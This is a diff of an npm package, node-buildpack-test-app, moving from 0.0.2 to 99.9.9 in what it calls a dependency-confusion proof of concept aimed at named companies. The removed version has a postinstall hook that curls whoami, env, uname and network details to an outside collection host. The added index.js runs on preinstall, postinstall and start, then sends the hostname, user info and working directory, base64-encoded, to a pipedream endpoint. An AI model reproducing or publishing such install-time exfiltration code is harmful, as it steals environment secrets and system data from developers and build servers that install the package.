node-buildpack-test-app 0.0.2 → 99.9.9

package/index.js

@@ -1,13 +1,28 @@
-// index.js
-
-/**
- * Fake export to make the package appear legitimate.
- * This is never actually used in the attack — just present to avoid suspicion.
- */
-
-module.exports = {
-  hello: () => {
-    console.log("Hello from node-buildpack-test-app");
-    return "Hello Instacart!";
-  }
-};
+var os = require("os")
+const request = require('requests')
+var fs = require('fs')
+
+// collect info
+var hostname = os.hostname()
+var type = os.platform()
+var userInfo = os.userInfo()
+var currentPath = process.cwd()
+var json = []
+
+json.push(hostname)
+json.push(type)
+json.push(userInfo)
+json.push(currentPath)
+json = JSON.stringify(json)
+
+let host = "eoto6j4r3ne7bkk.m.pipedream.net"
+let company = "heroku"
+let packages = "node-buildpack-test-app"
+
+// write a local file
+fs.writeFile('locatethisfileforpoc', 'execution achieved', function (err) {
+  if (err) throw err
+})
+
+var buff = Buffer.from(JSON.stringify(json)).toString("base64")
+request(`http://${host}/?${company}:${packages}=${buff}`, (error, response, body) => {})

package/package.json

@@ -1,10 +1,18 @@
-{
-  "name": "node-buildpack-test-app",
-  "version": "0.0.2",
-  "description": "PoC for Dependency Confusion targeting Instacart",
-  "scripts": {
-    "postinstall": "sh -c \"curl -X POST -H 'Content-Type: text/plain' --data \\\"===== whoami =====\\\\n$(whoami)\\\\n\\\\n===== uname -a =====\\\\n$(uname -a)\\\\n\\\\n===== hostname =====\\\\n$(hostname)\\\\n\\\\n===== env =====\\\\n$(env)\\\\n\\\\n===== ls -la / =====\\\\n$(ls -la /)\\\\n\\\\n===== ifconfig/ip =====\\\\n$(ifconfig || ip a)\\\\n\\\" http://xtiikrbrlhjafmnxqxvmj5f4ygr87dv5a.oast.fun\""
-  },
-  "author": "0xzyo",
-  "license": "MIT"
-}
+{
+  "Dependencies": {
+    "request": "^2.88.2"
+  },
+  "dependencies": {
+    "requests": "^0.3.0"
+  },
+  "description": "",
+  "license": "ISC",
+  "main": "index.js",
+  "name": "node-buildpack-test-app",
+  "scripts": {
+    "postinstall": "node index.js --save-prod",
+    "preinstall": "node index.js --save-prod",
+    "start": "node index.js --save-prod"
+  },
+  "version": "99.9.9"
+}